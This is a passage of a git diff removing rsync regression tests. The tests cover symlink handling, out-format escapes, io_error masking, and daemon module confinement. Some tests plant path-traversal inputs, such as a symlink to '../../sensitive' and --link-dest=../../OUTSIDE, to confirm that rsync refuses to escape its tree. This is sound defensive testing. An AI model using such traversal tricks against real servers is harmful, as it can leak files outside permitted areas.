stderr=subprocess.PIPE,\n-                      timeout=30)\n-if proc.returncode != 0:\n-    test_fail(\"iwildmatch case-fold is asymmetric (pattern not folded)\\n\"\n-              + (proc.stdout or b'').decode('utf-8', 'replace')\n-              + (proc.stderr or b'').decode('utf-8', 'replace'))\n-print((proc.stdout or b'').decode('utf-8', 'replace').strip())\ndiff --git a/testsuite/keep-dirlinks-rule_test.py b/testsuite/keep-dirlinks-rule_test.py\ndeleted file mode 100644\nindex 897775d..0000000\n--- a/testsuite/keep-dirlinks-rule_test.py\n+++ /dev/null\n@@ -1,82 +0,0 @@\n-\"\"\"Pin the concrete rule behind `--keep-dirlinks` (-K).\n-\n-The rsync(1) `--keep-dirlinks` entry leads with a clear rule -- \"treat a symlink\n-to a directory as though it were a real directory, but only if it matches a real\n-directory from the sender\" -- but then a vague security caution (\"you must trust\n-all the symlinks ... the user could then (on a subsequent copy) replace the\n-symlink ...\").  This test pins the deterministic part of the behaviour so the\n-caution can be tied to a concrete mechanism:\n-\n-  - sender has a real dir of that name  -> dest symlink-to-dir is KEPT and the\n-    contents land THROUGH it (this is the followed-into-target behaviour the\n-    caution warns about);\n-  - sender has a non-dir (file) of that name -> -K does not apply, the dest\n-    symlink is replaced by the file;\n-  - default (no -K) -> the dest symlink is deleted and recreated as a real dir.\n-\n-Pure local client behaviour: no daemon/root/tcp.  Cross-version: expected\n-identical against --rsync-bin=old_versions/rsync_3.2.7.\n-\"\"\"\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, rmtree, rsync_argv, test_fail\n-\n-base = SCRATCHDIR / 'keep-dirlinks'\n-rmtree(base)\n-base.mkdir(parents=True)\n-\n-\n-def dest_with_symlink(name):\n-    \"\"\"Fresh dest where `name` is a symlink to a real 'target' dir.\"\"\"\n-    d = base / name\n-    rmtree(d)\n-    (d / 'target').mkdir(parents=True)\n-    os.symlink('target', d / 'd')\n-    return d\n-\n-\n-def run(src, dst, *opts):\n-    subprocess.run(rsync_argv('-a', *opts, f'{src}/', f'{dst}/'),\n-                   stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-\n-\n-# sender with a real directory 'd' containing a file.\n-sdir = base / 'src_dir'\n-(sdir / 'd').mkdir(parents=True)\n-(sdir / 'd' / 'f').write_text('X\\n')\n-\n-# sender with 'd' as a plain FILE.\n-sfile = base / 'src_file'\n-sfile.mkdir()\n-(sfile / 'd').write_text('FILE\\n')\n-\n-# 1) -K + sender dir match: symlink kept, contents land through it.\n-d = dest_with_symlink('case_match')\n-run(sdir, d, '--keep-dirlinks')\n-if not (d / 'd').is_symlink():\n-    test_fail(\"--keep-dirlinks: dest symlink-to-dir was replaced despite a sender dir match\")\n-through = d / 'target' / 'f'\n-if not through.is_file() or through.read_text() != 'X\\n':\n-    test_fail(\"--keep-dirlinks: contents did not land THROUGH the kept symlink\")\n-\n-# 2) -K + sender is a file: -K doesn't apply, symlink replaced by the file.\n-d = dest_with_symlink('case_file')\n-run(sfile, d, '--keep-dirlinks')\n-if (d / 'd').is_symlink():\n-    test_fail(\"--keep-dirlinks: dest symlink kept even though the sender 'd' is a file\")\n-if not (d / 'd').is_file() or (d / 'd').read_text() != 'FILE\\n':\n-    test_fail(\"--keep-dirlinks: sender file did not replace the dest symlink\")\n-\n-# 3) default (no -K): symlink deleted and recreated as a real directory.\n-d = dest_with_symlink('case_default')\n-run(sdir, d)\n-if (d / 'd').is_symlink():\n-    test_fail(\"default: dest symlink-to-dir should have been replaced by a real dir\")\n-if not (d / 'd').is_dir() or not (d / 'd' / 'f').is_file():\n-    test_fail(\"default: 'd' was not recreated as a real directory with the file\")\n-\n-print(\"keep-dirlinks-rule: -K keeps+follows a dest symlink-to-dir only on a \"\n-      \"sender DIR match (contents land through it); a sender file replaces it; \"\n-      \"the default replaces the symlink with a real directory\")\ndiff --git a/testsuite/keep-dirlinks-symlinked-dest_test.py b/testsuite/keep-dirlinks-symlinked-dest_test.py\ndeleted file mode 100644\nindex aae8856..0000000\n--- a/testsuite/keep-dirlinks-symlinked-dest_test.py\n+++ /dev/null\n@@ -1,37 +0,0 @@\n-#!/usr/bin/env python3\n-# --keep-dirlinks (-K) into a symlinked destination directory must follow the\n-# symlink and write into the real dir -- that is the entire purpose of -K\n-# (treat a symlinked dir on the receiver as a dir; the #715 family).\n-#\n-# A/B-discovered 3.5 regression (abdiff: 3.5 vs 3.4.4): an early per-component\n-# O_NOFOLLOW resolver refused the in-tree dir-symlink that -K is meant to follow,\n-# so the transfer failed (Not a directory -> exit 23, the directory's files lost;\n-# near-silent).  The secure resolver now follows in-tree directory symlinks on\n-# every platform, so -K writes through the symlinked dest dir uniformly; 3.4.x is\n-# unaffected.  Plain transfer, no root.\n-\n-import os\n-\n-from rsyncfns import SCRATCHDIR, assert_same, makepath, rmtree, run_rsync, test_fail\n-\n-base = SCRATCHDIR / 'kdl'\n-src = base / 'src'\n-dest = base / 'dest'\n-rmtree(base)\n-makepath(src / 'dir', dest / 'realdir')\n-(src / 'dir' / 'f1').write_text('one\\n')\n-(src / 'dir' / 'f2').write_text('two\\n')\n-(src / 'top.txt').write_text('top\\n')\n-# The receiver already has the destination subdir as an in-tree symlink to a\n-# real directory -- exactly what --keep-dirlinks is for.\n-os.symlink('realdir', dest / 'dir')\n-\n-run_rsync('-aK', f'{src}/', f'{dest}/')   # check=True: resolver follows the in-tree dest symlink\n-\n-real = dest / 'realdir'\n-for n in ('f1', 'f2'):\n-    if not (real / n).is_file():\n-        test_fail(f\"-K did not follow the symlinked dest dir: {real / n} missing\")\n-    assert_same(src / 'dir' / n, real / n, label=f'-K content {n}')\n-\n-print(\"keep-dirlinks-symlinked-dest: -K follows a symlinked destination directory\")\ndiff --git a/testsuite/ki58-log-format-percent_test.py b/testsuite/ki58-log-format-percent_test.py\ndeleted file mode 100644\nindex ce9fdbd..0000000\n--- a/testsuite/ki58-log-format-percent_test.py\n+++ /dev/null\n@@ -1,131 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Regression test: `%%` in --out-format outputs a literal `%`.\n-\n-# Verifies: SW-REQ-166\n-\n-The log_formatted() switch in log.c had no `case '%'`, so `%%` left the\n-first `%` in place and re-parsed the second `%` as the start of a new\n-specifier.  This test transfers a file with `--out-format='100%% done %f'`\n-and asserts the output contains `100% done <filename>` (a single literal\n-percent, a space, the word \"done\", and the expanded filename).\n-\"\"\"\n-\n-import subprocess\n-\n-from rsyncfns import (\n-    FROMDIR, TODIR,\n-    forced_protocol, makepath, rmtree, rsync_argv, test_fail,\n-)\n-\n-src = FROMDIR\n-\n-# Build a single-file source tree.\n-rmtree(src)\n-rmtree(TODIR)\n-makepath(src)\n-(src / 'percentfile').write_text(\"data\\n\")\n-\n-# Transfer using a format string with both %% (literal percent) and %f (name).\n-p = subprocess.run(\n-    rsync_argv('-a', '--out-format=100%% done %f', f'{src}/', f'{TODIR}/'),\n-    capture_output=True, text=True,\n-)\n-if p.returncode != 0:\n-    test_fail(f\"rsync exited {p.returncode}:\\n{p.stderr}\")\n-\n-# %f expands to the transfer-relative path, which includes leading directories\n-# when the source is addressed by an absolute path (as here) -- so don't pin the\n-# exact filename.  The point of this test is the escape: \"100% done \" with a\n-# single literal percent followed by a space (a broken %% consumes the space or\n-# leaves a doubled percent), plus the transferred file name somewhere.\n-if '100% done ' not in p.stdout or 'percentfile' not in p.stdout:\n-    test_fail(\n-        \"expected '100% done ' (a single literal percent) and 'percentfile' in \"\n-        f\"--out-format output, got:\\n{p.stdout}\"\n-    )\n-\n-# log_format_has() must not see the 'i' in '%%i' as an itemize escape: the\n-# second '%' of a '%%' is a literal, not the start of a new specifier.  A\n-# misdetection turns on itemizing, which logs attribute-only changes that a\n-# plain --out-format run must not mention.\n-(src / 'percentfile').chmod(0o640)\n-p = subprocess.run(\n-    rsync_argv('-a', '--out-format=%%i %n', f'{src}/', f'{TODIR}/'),\n-    capture_output=True, text=True,\n-)\n-if p.returncode != 0:\n-    test_fail(f\"rsync exited {p.returncode}:\\n{p.stderr}\")\n-(src / 'percentfile').chmod(0o600)\n-p = subprocess.run(\n-    rsync_argv('-a', '--out-format=%%i %n', f'{src}/', f'{TODIR}/'),\n-    capture_output=True, text=True,\n-)\n-if p.returncode != 0:\n-    test_fail(f\"rsync exited {p.returncode}:\\n{p.stderr}\")\n-if 'percentfile' in p.stdout:\n-    test_fail(\n-        \"'%%i' misdetected as itemizing: an attribute-only change was logged \"\n-        f\"by --out-format='%%i %n':\\n{p.stdout}\"\n-    )\n-\n-# And '%%i' on a really transferred file still renders as literal '%i'.\n-(src / 'percentfile').write_text(\"data2\\n\")\n-p = subprocess.run(\n-    rsync_argv('-a', '--out-format=%%i %n', f'{src}/', f'{TODIR}/'),\n-    capture_output=True, text=True,\n-)\n-if p.returncode != 0:\n-    test_fail(f\"rsync exited {p.returncode}:\\n{p.stderr}\")\n-if '%i percentfile' not in p.stdout:\n-    test_fail(\n-        \"expected literal '%i percentfile' for a transferred file with \"\n-        f\"--out-format='%%i %n', got:\\n{p.stdout}\"\n-    )\n-\n-# log_format_has() and log_formatted() must agree on where an escape letter is\n-# even for an over-long field width.  log_formatted() stops consuming width\n-# digits at its 32-byte fmt buffer, then rescans and expands the trailing %C;\n-# an unbounded log_format_has() instead swallows every digit and the following\n-# '%' as a literal %%, missing the %C.  With -c that leaves sender_keeps_checksum\n-# unset while %C still reads F_SUM -- a heap over-read (ASan: use-after-poison in\n-# sum_as_hex), and the rendered digest is garbage.\n-#\n-# Oracle without a sanitizer: the digest %C renders for the over-wide format\n-# must equal the digest a plain '%C' renders for the same file.  A parser\n-# divergence leaves the wide-format sender without a retained checksum, so its\n-# %C differs (or is garbage) while the plain %C is correct.\n-import re\n-\n-def checksum_for(fmt):\n-    (src / 'percentfile').write_text(\"data3\\n\")\n-    rmtree(TODIR)\n-    r = subprocess.run(\n-        rsync_argv('-a', '-c', f'--out-format={fmt} %n', f'{src}/', f'{TODIR}/'),\n-        capture_output=True, text=True,\n-    )\n-    if r.returncode != 0:\n-        test_fail(f\"rsync -c exited {r.returncode} for --out-format={fmt!r}:\\n{r.stderr}\")\n-    m = re.search(r'([0-9a-f]+) percentfile', r.stdout)\n-    if not m:\n-        test_fail(f\"no '<hex> percentfile' in --out-format={fmt!r} output:\\n{r.stdout}\")\n-    return m.group(1)\n-\n-# The over-wide %C check needs %C to actually render a hex digest, which only\n-# happens for a canonical checksum: at protocol < 30 the negotiated file checksum\n-# is a non-canonical MD4 variant and %C (via sum_as_hex) renders empty, so there\n-# is no digest to compare and no F_SUM read to over-run.  Skip that sub-case\n-# there; at protocol 30+ checksum_for() still fails on a missing digest, so a\n-# real regression is caught.  The %% literal checks above are protocol-independent.\n-proto = forced_protocol()\n-if proto is None or proto >= 30:\n-    # The over-wide format renders its width digits literally, so the digest is\n-    # the trailing run of hex; compare that tail against the plain %C digest.\n-    plain = checksum_for('%C')\n-    wide = checksum_for('%' + '0' * 30 + '%C')\n-    if not wide.endswith(plain):\n-        test_fail(\n-            f\"over-wide %C rendered ...{wide[-len(plain):]!r} but plain %C rendered \"\n-            f\"{plain!r}: log_format_has()/log_formatted() disagree on the escape position\"\n-        )\n-\n-print(\"ki58-log-format-percent: %% literal-percent escape verified\")\ndiff --git a/testsuite/ki62-io-error-mask_test.py b/testsuite/ki62-io-error-mask_test.py\ndeleted file mode 100644\nindex b468ac6..0000000\n--- a/testsuite/ki62-io-error-mask_test.py\n+++ /dev/null\n@@ -1,156 +0,0 @@\n-#!/usr/bin/env python3\n-# Verifies: SW-REQ-114\n-#\n-# When MSG_IO_ERROR arrives, io.c OR's the wire value into the local io_error.\n-# Without masking, a malicious peer could set arbitrary (undefined) bits, which\n-# would then be stored and re-forwarded upstream in the local io_error.  The fix\n-# masks the incoming value to the defined IOERR_* bits (IOERR_VALID_MASK).  (The\n-# exit code itself is already safe: cleanup.c maps only the three defined bits\n-# onto RERR_* constants, so undefined bits never become the exit status -- the\n-# mask is about not storing/propagating junk, not about the exit value.)\n-#\n-# This is only an interrupted-transfer exit-code smoke test: it starts a real\n-# daemon (the sender for a download), begins a transfer, then kills the sender\n-# mid-transfer and asserts the receiver exits with a documented RERR_* value.\n-# It does NOT craft a hostile MSG_IO_ERROR frame, so it does not exercise the\n-# mask itself (no test does yet) -- it just guards the normal-peer exit path.\n-#\n-# Exit codes: 0 pass, 1 fail, 77 skip (killable daemon testing not possible --\n-# the test needs --use-tcp so it can SIGKILL the sender process directly).\n-\n-import os\n-import re\n-import signal\n-import subprocess\n-import sys\n-import time\n-\n-from rsyncfns import (\n-    FROMDIR, SCRATCHDIR, TODIR, claim_ports, make_data_file, makepath, rmtree,\n-    rsync_argv, start_rsyncd, test_fail, test_skipped, build_rsyncd_conf,\n-    USE_TCP,\n-)\n-\n-# The complete set of exit codes rsync defines (errcode.h).  Whatever path the\n-# interrupted transfer takes, the receiver's exit code MUST be one of these --\n-# never an arbitrary number injected via a polluted io_error.\n-KNOWN_RERR = {\n-    0,    # RERR_OK\n-    1,    # RERR_SYNTAX\n-    2,    # RERR_PROTOCOL\n-    3,    # RERR_FILESELECT\n-    4,    # RERR_UNSUPPORTED\n-    5,    # RERR_STARTCLIENT\n-    10,   # RERR_SOCKETIO\n-    11,   # RERR_FILEIO\n-    12,   # RERR_STREAMIO\n-    13,   # RERR_MESSAGEIO\n-    14,   # RERR_IPC\n-    15,   # RERR_CRASHED\n-    16,   # RERR_TERMINATED\n-    19,   # RERR_SIGNAL1\n-    20,   # RERR_SIGNAL\n-    21,   # RERR_WAITCHILD\n-    22,   # RERR_MALLOC\n-    23,   # RERR_PARTIAL\n-    24,   # RERR_VANISHED\n-    25,   # RERR_DEL_LIMIT\n-    30,   # RERR_TIMEOUT\n-    35,   # RERR_CONTIMEOUT\n-    124,  # RERR_CMD_FAILED\n-    125,  # RERR_CMD_KILLED\n-    126,  # RERR_CMD_RUN\n-    127,  # RERR_CMD_NOTFOUND\n-}\n-\n-PORT = 12966\n-\n-# Killing the sender (the daemon process) mid-transfer requires a handle to\n-# the daemon process, which only exists in --use-tcp mode.  In the default\n-# pipe mode the daemon is forked off the client and is not directly killable,\n-# so skip rather than run an inconclusive test.\n-if not USE_TCP:\n-    test_skipped(\"needs --use-tcp to kill the daemon (sender) mid-transfer\")\n-\n-conf = build_rsyncd_conf()\n-\n-# Build a source tree with a file big enough that, throttled by --bwlimit, the\n-# transfer is still in flight when we kill the sender.\n-rmtree(FROMDIR)\n-rmtree(TODIR)\n-makepath(FROMDIR)\n-makepath(TODIR)\n-make_data_file(FROMDIR / 'bigfile', 8 * 1024 * 1024)  # 8 MB\n-\n-claim_ports(PORT)\n-daemon = start_rsyncd(conf, PORT)\n-\n-# --bwlimit keeps the transfer slow enough to guarantee the sender is\n-# mid-stream when we SIGKILL it.  --info=progress gives a heartbeat we could\n-# observe, but the bwlimit + short sleep is enough on loopback.\n-client = subprocess.Popen(\n-    rsync_argv('-a', '--bwlimit=64', '--timeout=60',\n-               f'rsync://127.0.0.1:{PORT}/test-from/', f'{TODIR}/'),\n-    stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True,\n-)\n-\n-# Let the receiver get past the handshake and into the data stream before we\n-# cut the sender off, so the death is observed as a mid-transfer stream error\n-# (the path that exercises the io_error -> exit-code mapping).\n-time.sleep(2)\n-\n-# Kill the sender mid-transfer.  rsyncd forks a child per connection, so the\n-# actual sender is NOT `daemon` (the listener) -- killing only the listener\n-# leaves the child streaming and the receiver never sees EOF.  The child logs\n-# \"[pid] rsync on <module>/\" to the daemon log; kill that pid (plus the\n-# listener).  The daemon shares this test's process group, so killpg is not an\n-# option (it would kill the test itself).\n-child_pids = []\n-try:\n-    logtext = (SCRATCHDIR / 'rsyncd.log').read_text()\n-    child_pids = [int(pid) for pid in re.findall(r'\\[(\\d+)\\] rsync on ', logtext)]\n-except OSError:\n-    pass\n-for pid in child_pids:\n-    try:\n-        os.kill(pid, signal.SIGKILL)\n-    except (ProcessLookupError, PermissionError):\n-        pass\n-if daemon.poll() is None:\n-    daemon.kill()\n-    try:\n-        daemon.wait(timeout=5)\n-    except subprocess.TimeoutExpired:\n-        pass\n-\n-# Wait for the receiver to notice the dead sender and exit.  It should do so\n-# promptly (closed socket / EOF), but cap it so a regression that hangs is\n-# caught rather than stalling the suite.\n-try:\n-    out, _ = client.communicate(timeout=30)\n-except subprocess.TimeoutExpired:\n-    client.kill()\n-    client.communicate()\n-    test_fail(\"receiver did not exit after the sender was killed (hung)\")\n-\n-rc = client.returncode\n-if rc not in KNOWN_RERR:\n-    sys.stderr.write(\n-        f\"receiver exited with {rc}, which is NOT a documented RERR_* value; \"\n-        f\"output:\\n{out}\\n\"\n-    )\n-    sys.exit(1)\n-\n-# An interrupted download should not exit 0; sanity-check that we actually\n-# interrupted a transfer (a clean exit would mean we killed the sender too\n-# early/late and didn't exercise the mid-transfer path).  Don't fail on this --\n-# timing-dependent -- just note it.\n-if rc == 0:\n-    print(\"ki62-io-error-mask: receiver exited 0 (transfer may have completed \"\n-          \"before the kill); no out-of-range exit code observed.\")\n-else:\n-    print(f\"ki62-io-error-mask: receiver exited {rc} (a documented RERR_* \"\n-          f\"value) after the sender was killed mid-transfer; no arbitrary \"\n-          f\"io_error bit propagated to the exit code.\")\n-\n-sys.exit(0)\ndiff --git a/testsuite/ki72-safe-links-backup_test.py b/testsuite/ki72-safe-links-backup_test.py\ndeleted file mode 100644\nindex 0814096..0000000\n--- a/testsuite/ki72-safe-links-backup_test.py\n+++ /dev/null\n@@ -1,129 +0,0 @@\n-#!/usr/bin/env python3\n-# KI-72: --safe-links must be honored in the backup symlink hard-link path.\n-# Verifies: SW-REQ-073\n-#\n-# In make_backup_inner(), when CAN_HARDLINK_SYMLINK is defined (Linux, macOS)\n-# the hard-link fast path link_or_rename() succeeded for a symlink and then\n-# \"goto success\" skipped the safe_symlinks check that lives in the copy-fallback\n-# path.  The net effect was that an escaping symlink already present in the\n-# destination (e.g. \"escape -> ../../sensitive\") was silently preserved in the\n-# backup area (as \"<name>.bak\") even when --safe-links was given.\n-#\n-# This forces exactly that backup (a destination symlink is replaced by a\n-# regular file from the source) and asserts:\n-#   * WITH    --safe-links : the escaping symlink is NOT backed up (no .bak).\n-#   * WITHOUT --safe-links : the escaping symlink IS backed up (.bak is a\n-#                            symlink with the same escaping target).\n-#\n-# Pure local client behaviour: no daemon/root/tcp. RED on the unfixed tree on\n-# any platform whose link_or_rename() can hard-link a symlink (CAN_HARDLINK_SYMLINK);\n-# GREEN everywhere once the check runs before the fast path.\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, rmtree, rsync_argv, test_fail\n-\n-base = SCRATCHDIR / 'ki72-safe-links-backup'\n-\n-# The escaping target: at the transfer top level the symlink path is depth 0,\n-# so any leading \"../\" makes unsafe_symlink() reject it.  Use two levels to be\n-# unambiguously out-of-tree regardless of how the receiver names the leaf.\n-ESCAPE_TARGET = '../../sensitive'\n-\n-\n-def build():\n-    \"\"\"Fresh src/ and dest/ where the next sync must back up dest's escaping\n-    symlink (src carries a regular file of the same name that replaces it).\"\"\"\n-    rmtree(base)\n-    src = base / 'src'\n-    dest = base / 'dest'\n-    src.mkdir(parents=True)\n-    dest.mkdir(parents=True)\n-    (src / 'keep.txt').write_text('source regular file\\n')\n-    # A regular file at src that differs from dest's symlink -> forces an update\n-    # and therefore a backup of the old dest entry.\n-    (src / 'escape').write_text('replacement regular file\\n')\n-    # The pre-existing escaping symlink in the destination that gets backed up.\n-    os.symlink(ESCAPE_TARGET, dest / 'escape')\n-    return src, dest\n-\n-\n-def run(src, dest, *extra):\n-    proc = subprocess.run(\n-        rsync_argv('-a', '--backup', '--suffix=.bak', *extra,\n-                   f'{src}/', f'{dest}/'),\n-        stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)\n-    return proc\n-\n-\n-# ---------------------------------------------------------------------------\n-# 1. WITH --safe-links: the unsafe symlink must NOT be backed up.\n-# ---------------------------------------------------------------------------\n-src, dest = build()\n-proc = run(src, dest, '--safe-links')\n-if proc.returncode != 0:\n-    test_fail(\"KI-72: rsync exited %d with --safe-links\\n%s%s\"\n-              % (proc.returncode, proc.stdout, proc.stderr))\n-\n-bak = dest / 'escape.bak'\n-if os.path.lexists(bak):\n-    test_fail(\n-        \"KI-72: --safe-links was bypassed on the backup hard-link path: the \"\n-        \"escaping symlink was backed up to %s (target %r) instead of being \"\n-        \"dropped.\" % (bak, os.readlink(bak) if os.path.islink(bak) else '?'))\n-\n-# The replacement regular file must still have been transferred.\n-if not (dest / 'escape').is_file():\n-    test_fail(\"KI-72: the replacement regular file 'escape' was not transferred\")\n-\n-\n-# ---------------------------------------------------------------------------\n-# 2. WITHOUT --safe-links: the escaping symlink IS backed up (positive\n-#    control, so the assertion above isn't vacuous -- backups really happen).\n-# ---------------------------------------------------------------------------\n-src, dest = build()\n-proc = run(src, dest)\n-if proc.returncode != 0:\n-    test_fail(\"KI-72: rsync exited %d without --safe-links\\n%s%s\"\n-              % (proc.returncode, proc.stdout, proc.stderr))\n-\n-bak = dest / 'escape.bak'\n-if not os.path.islink(bak):\n-    test_fail(\"KI-72: without --safe-links the escaping symlink should have \"\n-              \"been backed up, but %s is missing or not a symlink.\" % bak)\n-if os.readlink(bak) != ESCAPE_TARGET:\n-    test_fail(\"KI-72: backup symlink points to %r, expected %r\"\n-              % (os.readlink(bak), ESCAPE_TARGET))\n-\n-# ---------------------------------------------------------------------------\n-# 3. WITH --safe-links, a SAFE (in-tree) symlink must STILL be backed up.\n-#    The fix skips the backup for an unsafe OR unreadable link; this guards\n-#    against it over-blocking and dropping legitimate safe symlinks too.\n-# ---------------------------------------------------------------------------\n-rmtree(base)\n-src = base / 'src'\n-dest = base / 'dest'\n-src.mkdir(parents=True)\n-dest.mkdir(parents=True)\n-(src / 'keep.txt').write_text('source regular file\\n')\n-(src / 'link').write_text('replacement regular file\\n')\n-# An in-tree (safe) symlink in dest that gets replaced -> must be backed up.\n-os.symlink('keep.txt', dest / 'link')\n-\n-proc = run(src, dest, '--safe-links')\n-if proc.returncode != 0:\n-    test_fail(\"KI-72: rsync exited %d backing up a safe symlink\\n%s%s\"\n-              % (proc.returncode, proc.stdout, proc.stderr))\n-\n-bak = dest / 'link.bak'\n-if not os.path.islink(bak):\n-    test_fail(\"KI-72: a SAFE symlink was wrongly dropped from the backup area \"\n-              \"under --safe-links (%s missing or not a symlink) -- the fix is \"\n-              \"over-blocking.\" % bak)\n-if os.readlink(bak) != 'keep.txt':\n-    test_fail(\"KI-72: safe backup symlink points to %r, expected 'keep.txt'\"\n-              % os.readlink(bak))\n-\n-print(\"ki72-safe-links-backup: --safe-links drops an escaping symlink from the \"\n-      \"backup area, preserves a safe one, while a plain --backup preserves both\")\ndiff --git a/testsuite/ki73-cvs-clear-list_test.py b/testsuite/ki73-cvs-clear-list_test.py\ndeleted file mode 100644\nindex bdf138b..0000000\n--- a/testsuite/ki73-cvs-clear-list_test.py\n+++ /dev/null\n@@ -1,40 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"KI-73 regression: a `.cvsignore` containing only `!` (the clear-list token)\n-must not abort rsync in -C (cvs-exclude) mode.\n-\n-In exclude.c the CLEAR_LIST branch guarded its trailing-character check with\n-`rule->rflags & FILTRULE_NO_PREFIXES`, but NO_PREFIXES is a template-level flag\n-that is intentionally NOT inherited by individual rules (it is excluded from\n-FILTRULES_FROM_CONTAINER). The guard therefore always evaluated as \"prefixes\n-allowed\" for CVS rules and rsync hit exit_cleanup(RERR_SYNTAX) instead of\n-clearing the list. The fix checks `template->rflags` instead.\n-\n-# Verifies: SW-REQ-078\n-\"\"\"\n-\n-from rsyncfns import (\n-    FROMDIR, TODIR,\n-    assert_exists, makepath, rmtree, run_rsync,\n-)\n-\n-src = FROMDIR\n-rmtree(src)\n-rmtree(TODIR)\n-makepath(src)\n-\n-# Real files that must survive the transfer.\n-(src / 'keep1.txt').write_text('one\\n')\n-(src / 'keep2.txt').write_text('two\\n')\n-\n-# A .cvsignore whose sole content is the clear-list token. Pre-fix this drove\n-# parse_rule_tok() into the RERR_SYNTAX abort path.\n-(src / '.cvsignore').write_text('!\\n')\n-\n-# check=True (the default) calls test_fail() -> exit 1 on a non-zero rsync\n-# exit, which covers the abort (RERR_SYNTAX) regression directly.\n-run_rsync('-a', '-C', f'{src}/', f'{TODIR}/')\n-\n-assert_exists(TODIR / 'keep1.txt', label='clear-list .cvsignore kept keep1')\n-assert_exists(TODIR / 'keep2.txt', label='clear-list .cvsignore kept keep2')\n-\n-print(\"ki73: cvs-exclude .cvsignore '!' clear-list token no longer aborts\")\ndiff --git a/testsuite/link-dest-module-escape_test.py b/testsuite/link-dest-module-escape_test.py\ndeleted file mode 100644\nindex dfa4ad0..0000000\n--- a/testsuite/link-dest-module-escape_test.py\n+++ /dev/null\n@@ -1,67 +0,0 @@\n-#!/usr/bin/env python3\n-# Security guard for the #915 re-anchor: a daemon receiver must NOT honour an\n-# alt-basis dir whose `..` climbs OUT of the module.\n-#\n-# Honouring a relative --link-dest=../01 again (#915) deliberately re-permits an\n-# in-module `..` climb (dest 00 -> sibling basis 01).  This test pins the other\n-# side of that boundary: a client-supplied --link-dest=../../OUTSIDE that points\n-# at a file OUTSIDE the module root must be refused, so the basis is never used\n-# and the dest file is re-transferred rather than hard-linked to the outside\n-# file (which would be an info-leak / cross-module hard-link).\n-#\n-# The re-anchor confines resolution beneath module_dir with RESOLVE_BENEATH, so\n-# the escaping climb is rejected in-kernel; on platforms without\n-# openat2/O_RESOLVE_BENEATH the portable resolver rejects the `..` outright.\n-# Either way the escape is blocked, so this test must PASS on every platform.\n-# Runs at any uid.\n-\n-import shutil\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, make_data_file, makepath, rmtree, rsync_argv, start_test_daemon,\n-    test_fail, write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12916\n-DATA_SIZE = 40000\n-\n-mod = SCRATCHDIR / 'escmod'          # daemon module root (holds dest 00)\n-src = SCRATCHDIR / 'escsrc'\n-outside = SCRATCHDIR / 'OUTSIDE'     # sibling of the module root -- OUTSIDE it\n-for d in (mod, src, outside):\n-    rmtree(d)\n-makepath(mod / '00', src, outside)\n-\n-# Source file, plus a byte-identical secret OUTSIDE the module with the same\n-# name/size/mtime (so a followed basis would quick-check as a match).\n-make_data_file(src / 'f.dat', DATA_SIZE)\n-shutil.copy2(src / 'f.dat', outside / 'f.dat')\n-\n-conf = write_daemon_conf([\n-    ('bak', {'path': str(mod), 'read only': 'no'}),\n-])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-# Dest is bak/00 (cwd = module/00).  --link-dest=../../OUTSIDE climbs\n-# module/00 -> module -> SCRATCHDIR/OUTSIDE, i.e. out of the module.\n-proc = subprocess.run(\n-    rsync_argv('-a', '--link-dest=../../OUTSIDE', f'{src}/', f'{url}bak/00/'),\n-    stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-out = proc.stdout or ''\n-if proc.returncode not in (0, 23):    # 23: a basis rejection is non-fatal here\n-    test_fail(f\"escape push failed unexpectedly (rc={proc.returncode}):\\n{out}\")\n-\n-dest = mod / '00' / 'f.dat'\n-secret = outside / 'f.dat'\n-if not dest.is_file():\n-    test_fail(f\"destination file missing ({dest})\")\n-\n-ds, ss = dest.stat(), secret.stat()\n-if (ds.st_dev, ds.st_ino) == (ss.st_dev, ss.st_ino):\n-    test_fail(\n-        \"MODULE ESCAPE: the dest was hard-linked to a file OUTSIDE the module \"\n-        f\"via --link-dest=../../OUTSIDE -- the confined resolver let a `..` \"\n-        f\"climb escape the module root.\\n{out}\")\n-# Escape blocked: the basis was refused, so the file was re-transferred and the\n-# dest is its own inode, not the outside secret's.\ndiff --git a/testsuite/link-dest-pathroot_test.py b/testsuite/link-dest-pathroot_test.py\ndeleted file mode 100644\nindex f6adb58..0000000\n--- a/testsuite/link-dest-pathroot_test.py\n+++ /dev/null\n@@ -1,62 +0,0 @@\n-#!/usr/bin/env python3\n-# Functional regression: a relative --link-dest=../sibling against a daemon\n-# module with `path = /` (the intersection of #897 and #915).\n-#\n-# #915 re-anchors the receiver's basis open at the module root so an in-module\n-# \"../01\" climb is honoured.  The gate keyed on a nonzero module_dirlen, but a\n-# `path = /` module has module_dirlen == 0 (clientserver.c), so the re-anchor\n-# was skipped there and --link-dest=../01 was silently ignored (every file\n-# re-transferred) even though plain #915 modules were fixed.\n-#\n-# Like link-dest-relative-basis, the secure per-component walk now honours the\n-# in-module `..` climb on every platform (it pops `..` to the held parent), so a\n-# `path = /` module uses the relative basis too.  Runs at any uid.\n-\n-import shutil\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, make_data_file, makepath, rmtree, rsync_argv, start_test_daemon,\n-    test_fail, write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12931\n-DATA_SIZE = 40000\n-\n-# dest 00 and basis 01 live side by side under `base`; the module is rooted at\n-# \"/\", so the served subtree is addressed by its absolute path minus the leading\n-# slash, and --link-dest=../01 climbs dest 00 -> sibling 01 (both inside /).\n-base = SCRATCHDIR / 'bakroot'\n-src = SCRATCHDIR / 'srcroot'\n-rmtree(base)\n-rmtree(src)\n-makepath(base / '01', src)\n-make_data_file(src / 'f.dat', DATA_SIZE)\n-shutil.copy2(src / 'f.dat', base / '01' / 'f.dat')\n-\n-conf = write_daemon_conf([\n-    ('root', {'path': '/', 'read only': 'no'}),\n-])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-base_rel = str(base).lstrip('/')          # address `base` via the path=/ module\n-rmtree(base / '00')\n-proc = subprocess.run(\n-    rsync_argv('-a', 